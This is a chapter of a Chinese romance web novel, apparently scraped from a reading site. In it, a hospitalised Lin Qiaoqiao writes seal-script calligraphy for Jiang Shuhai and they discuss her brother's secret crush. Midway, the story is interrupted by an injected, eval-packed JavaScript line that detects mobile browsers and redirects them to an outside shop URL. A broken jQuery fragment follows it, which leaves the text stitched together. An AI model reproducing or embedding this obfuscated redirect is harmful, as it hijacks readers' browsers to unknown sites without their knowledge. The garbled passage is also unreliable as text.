江树海生气但更心软。
江树海玩金融这么些年,他以为对冲已经是最高明的手段了,因为不管怎样,好处总能二选一。但林乔乔做到了赢家通吃,她得到了她想要的所有好处,并且没有任何人真的责怪她。
当然,除了轻度肠胃炎。
江树海转而问道:“医生怎么说?还要住院多久?”
林乔乔眨了两下眼睛。虽然现在太阳已经下山了,但林乔乔觉得太阳留了余温在夜风里,而风吹进了她的病房,化开了小江这座冰山。
他不生气了。
林乔乔立刻回复:“医生说没事了,我爷爷奶奶让我再观察一天,后天出院。其实我觉得不严重,但凡车开慢了,我晚一点到医院,我感觉都要好了。”
江树海直视着问她,“下次还吃吗?”
林乔乔从床上坐了起来,觉得还是不太好发挥,直接就起床,一边走来走去一边滔滔不绝地诉说,这根本不是她第一次偷吃,按照以往的经验,那种程度根本不至于让她上吐下泻成这个样子的。所以她严重怀疑,是她倒霉,吃的东西太多太杂,混入什么卫生不过关的食物。
林乔乔双手叉腰,小脸一扬,说出结论:“我下次还敢,人不会一直倒霉的。”
江树海看着林乔乔,淡淡地回复她:“我也敢。”
林乔乔激动得两眼放光,很少有人和她一样勇敢了,难怪她对小江一见如故。
然而就在此时,突然响起一阵咳嗽。
任平抱臂在胸前,侧靠着墙,也不知道站了多久了。
“干嘛!”林乔乔嫌他。
“老爷子和奶奶回家休息去了。”
“哦。”
“明天白天也不会过来,有宴请。”
“哦。”
“他们呢,千叮咛万嘱咐,让我寸步不离的守在这里。”
江树海:……
林乔乔:……
“我想了想,”任平指了指房间里书桌上的东西,“林乔乔你如果把我要的东西给我弄好,我考虑下去吃一碗面再和人开黑打几把游戏。”
“特意回家一趟都不给我拿手机,还要使唤我,你是烦人精吗!”
这意思是同意,成交。任平笑着离开。
林乔乔小脸鼓成包子,气嘟嘟的想和江树海吐槽。
但一对上小江的眼睛,便听到他问:“需要做什么?”
林乔乔问,“你要帮我?”
江树海淡淡地:“当然。”
给任平干活或许不情不愿,但是给小江露一手,是件开心的事情。
“那好吧!”
林乔乔将江树海带到书桌边。
桌上放着黑木匣子。这黑木不知是什么品种,散发出来的香味馥郁醇厚。
林乔乔先用发卡把头发夹在脑后,露出白白亮亮的耳朵,然后才揭开匣盒,从中拿出笔墨纸砚。
她熟练地摆放笔墨纸砚,在砚台中滴入清水,然后将墨条递给他,“喏。研墨。”
这是江树海的盲区。他拿着墨条想了一会儿,最终还是选择了求助,“顺时针还是逆时针?”
林乔乔告诉他,“都可以。动作轻轻的就行,这个品种的墨颜色重,太浓写出来不好看。”
林乔乔拿出笔架摆好笔山,揭开匣子的隔层,从里面拿了宣纸,用镇纸顺了顺,瞧一眼,墨差不多了,就让小江停手。
林乔乔捋起衣袖,提笔蘸墨,动作熟练轻盈。
江树海与林乔乔肩并肩站着,只能看她长长的睫毛和温润的嘴唇,他转了个方向,半靠着林乔乔写字的高桌,将林乔乔所有动作和神态览尽。
林乔乔这张脸,和三年前没什么差别。
林乔乔一声“写好啦”,将江树海拉回现实。
林乔乔捻起薄薄的纸张,对着墨迹处吹了吹,又将纸在空气中荡来荡去。
墨迹干透了,她才笑颜如花地上前一步给江树海展示,“怎么样?”
“别看着我了,看纸上的字。”说是这么说,但林乔乔自己的目光也未曾从江树海脸上转移过。
从林乔乔问他有没有女朋友那刻起,江树海就有一种,他和林乔乔天生就应该在一起的感觉。
江树海扬着嘴角去看林乔乔写的东西。
林乔乔写了七个字,江树海都不认识,不是繁体,也不像是草书,倒像是符箓。
“写的什么?”
林乔乔神采奕奕,“你猜。”
江树海不猜,他打算拿手机识别一下。
林乔乔看出了他的意图,赶紧按住他的手,“你就不能叫我一声林老师,让我教教你吗?”
林乔乔虽然嘴上没说,但心里已经委屈巴巴上了,真是一点都不浪漫。
江树海瞥她一眼,好一会儿才说,“原来林老师喜欢这样。”
林老师心情美得不行,直接走马上任,笑眯眯地教授学识,“这是篆书。是古体字,是一切书法的母体,又像画又像字。而我写的呢,是我给你的祝福。”
“具体点?”
林乔乔不说话,只看着江树海笑。
“要猜?”
林乔乔笑得灿烂,小脑袋左右摆了两下,“是不是觉得刚才那声林老师叫得不亏呀?”
江树海微微一愣,随即被气笑了,他自己都不知道他笑得有多轻松。
“林老师祝福我什么?”
林乔乔虽然公司经营管理不怎么样,但是小说看的多,小说里说,上班的人,特别是厉害的上班人,最喜欢升职加薪了。
所以林乔乔给他写了“芝麻开花节节高”七个字。
祝福他像芝麻开花一样节节高升。
林乔乔从黑匣子里翻出类似相框一样的物件,把她写的字装裱了,再递给江树海。
“要好好保留哦。”
江树海接过,尺寸大小,正好装口袋。
“任平要你写什么?”
提到这个,林乔乔就更起劲儿了。
她不忙着告诉江树海任平让她写什么,又开始在江树海跟前走来走去地诉说,而江树海的眼睛也像是探照灯一样跟随她的身影。
原来,以前都是任平偷偷带林乔乔出去吃好吃的,任平一直说他掏钱还承担被爷爷奶奶发现的风险,付出太多。
林乔乔便大笔一挥,说让任平拿她的墨宝去换钱,补偿精神损失。
本来只是开玩笑,但突然有一天,任平告诉她,他真拿去卖钱了,然后让林乔乔再给他写。
不过后来是命题写作了。
写的是“未若柳絮因风起”这一类赞扬女子的诗句。
林乔乔问过任平夸的是谁,但任平坚持自己是拿去卖钱的,但林乔乔觉得不对劲,怎么可能都是女客户呢?林乔乔猜测,他应该是拿去送给喜欢的人了。
搞不好,任平还是苦哈哈地暗恋,暗戳戳地不敢表白。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702172|208213||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
今天任平让她写的是“桃花马上请长缨”。
但林乔乔不打算按照他的要求写,而是换成了字数相同的“玲珑骰子安红豆”。
玲珑骰子安红豆后一句是入骨相思知不知。
非常直接地表白。
狠狠地推任平一把,应该能帮他推进关系。
“反正他又不认识篆书。我这是为了他好!”林乔乔叉起腰来,“我可真是操碎了心啊。”
谁知道江树海却说,“你确定不是帮倒忙?”
灭嗨王,你这个灭嗨王!
“才不是呢!”
“假设他是如你所说的暗恋,那么他为什么选择暗恋?通常的理由是内向害怕失败,显然这跟你哥性格不符合,考虑下一种情况,暗恋的对象不是单身。对方如果也看不懂篆书还好,但如果对方懂行,你哥会很被动。”
林乔乔痛苦面具,江树海难得说这么多话,她信江树海的。他意思是说,她这一举措极有可能让他哥当上男小三?
“那怎么办?”
“按照你的想法写。”
“为什么?我哥要是被人打,虽然我不会告诉他原因,但不仅我,我爷爷奶奶都会心疼的。”
江树海继续,“因为除了暗恋,还要考虑不是暗恋的情况,比方说,对方暂时不想谈恋爱,这种情况,你的字条会很有助益。”
林乔乔停下来想了想,怎么绕了一圈,还是在原地?林乔乔若有所思,“你真的不是在逗我玩儿?”
“没有,线性思维,习惯了归因。”江树海脸上的轻松的表情出卖了他,“还有一个因素,打得过你哥的人应该很少。”
林乔乔还在琢磨到底有没有被带进沟里,江树海切入了另外的话题,“在我看来,这种方式过于委婉了。”
林乔乔一听便托住下巴看着江树海,“委婉不好吗?委婉的感情绵长,这样的字幅,我已经帮他写了快半年了。没有什么比一直喜欢一个人更浪漫了。”
林乔乔只觉得在某一个瞬间,他忽然心情很好,像是触及到什么开心的事情。
林乔乔头一歪,不禁好奇,“那你喜欢一个人,你会怎么办呢?”
江树告诉她:“我当然不会假借他人之手制造浪漫。”
林乔乔点点头,这倒是,但这不是重点,“那是怎样?”
江树海曾无意间看过某巧克力的广告,广告片里的碧海、蓝天、沙滩,与他和林乔乔初遇时的地方很像,他便记下了那句广告词。
江树海说出了那句记忆深处的广告词:“遇见彩虹,吃定彩虹。”
“那你是喜欢像彩虹一样的女孩子咯。”林乔乔觉得自己是有点像灿烂好看的小彩虹的呢。虽然她被夸是小太阳的时候比较多,但太阳和彩虹都是天上的东西,应该差不多是划等号的吧!
江树海瞥她一眼,“喜欢像猪一样的。”
皮肤白里透红,傻傻的,很爱吃。
林乔乔大脑当机也思考不出为什么小江喜欢猪那样的女孩子,猪猪很可爱,但是猪猪不美型啊。
不过,遇见猪猪,吃定猪猪,倒是和林乔乔喜欢就“乔乔想要,乔乔得到”异曲同工呢。
林乔乔的困倦,在九点准时到来,而任平也像是约好了似的于九点归来。
江树海告辞之时,林乔乔问他:“明天还来看我吗?”
“来。”
“那你早点来。”
江树海嗯了一声。